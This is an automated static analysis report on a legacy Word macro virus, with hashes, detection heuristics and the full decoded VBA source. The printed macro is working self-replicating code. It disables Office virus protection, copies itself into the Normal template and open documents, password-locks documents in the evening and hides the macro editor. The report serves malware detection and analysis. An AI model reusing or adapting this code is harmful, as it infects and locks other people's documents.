Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 548549262a9de481…

MALICIOUS

Office (OLE)

30.0 KB Created: 2000-11-04 20:24:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 4092c7a134135d8c410e0a3fb3ff380d SHA-1: 0636547dc6abbb219638cd08f165d003edac2a1b SHA-256: 548549262a9de481a6b1b9464ec6702e38207e8f91ccd6b63a979f4a1c661217
196 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits characteristics of a legacy WordBasic macro virus and contains VBA macros, including AutoOpen and AutoClose functions. The script attempts to copy itself to the Normal template and the active document, suggesting a mechanism for persistence or propagation. The presence of legacy markers and the generic nature of the VBA code lead to an 'unknown family' classification.

Heuristics 6

  • ClamAV: Doc.Trojan.Flash-10 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Flash-10
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2171 bytes
SHA-256: 951cf00192ace99b05d77ba7e6ddd79d786ecd8ecc73ca7481f9abc6e61e2b19
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Flash"
Sub AutoClose()
inf 'Ïðèâåò Ñåðåãå ýêîíîìèñòó !
ini 'ïîñìîòðè íà ýòîãî ñîðöà ïîâíèìàòåëüíåå !
End Sub
Sub inf()
On Error Resume Next
Application.EnableCancelKey = wdCancelDisabled

Options.VirusProtection = False
Options.SaveNormalPrompt = False
Options.ConfirmConversions = False

Application.UserName = "(C)Copyleft by SaNDMaN #7 For Anna"
Application.UserInitials = "Flash"
Application.UserAddress = "Ufa-XXXX"

For i = 1 To NormalTemplate.VBProject.VBComponents.Count
t = NormalTemplate.VBProject.VBComponents(i)
If t = "Flash" Then NormInst = 1
Next

For a = 1 To ActiveDocument.VBProject.VBComponents.Count
e = ActiveDocument.VBProject.VBComponents(a).Name
If e = "Flash" Then DocInst = 1
Next

If NormInst = 0 Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, _
Destination:=NormalTemplate.FullName, Name:="Flash", _
Object:=wdOrganizerObjectProjectItems
NormalTemplate.Save
End If

If DocInst = 0 Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, _
Destination:=ActiveDocument.FullName, Name:="Flash", _
Object:=wdOrganizerObjectProjectItems
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End If
End Sub
Sub ini()
If Minute(Now()) = 13 And Hour(Now()) = 13 Then MsgBox "Flura-2000", vbCritical, "About crazy girl"
If Minute(Now()) = 0 And Hour(Now()) = 10 Then Selection.TypeText Text:="(c)Copyleft by SaNDMaN #7"
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End Sub
Sub AutoOpen()
If Hour(Now()) >= 17 Then
ActiveDocument.Protect Password:="Lunatic Calm", NoReset:=False, _
Type:=wdAllowOnlyComments
End If
End Sub
Sub toolsmacro()
End Sub
Sub viewvbcode()
End Sub
Sub fileprint()
End Sub
Sub FileSaveAs()
Dialogs(wdDialogFileSaveAs).Show
ActiveDocument.SaveAs FileName:=Dialogs(wdDialogFileSaveAs).Type
inf
End Sub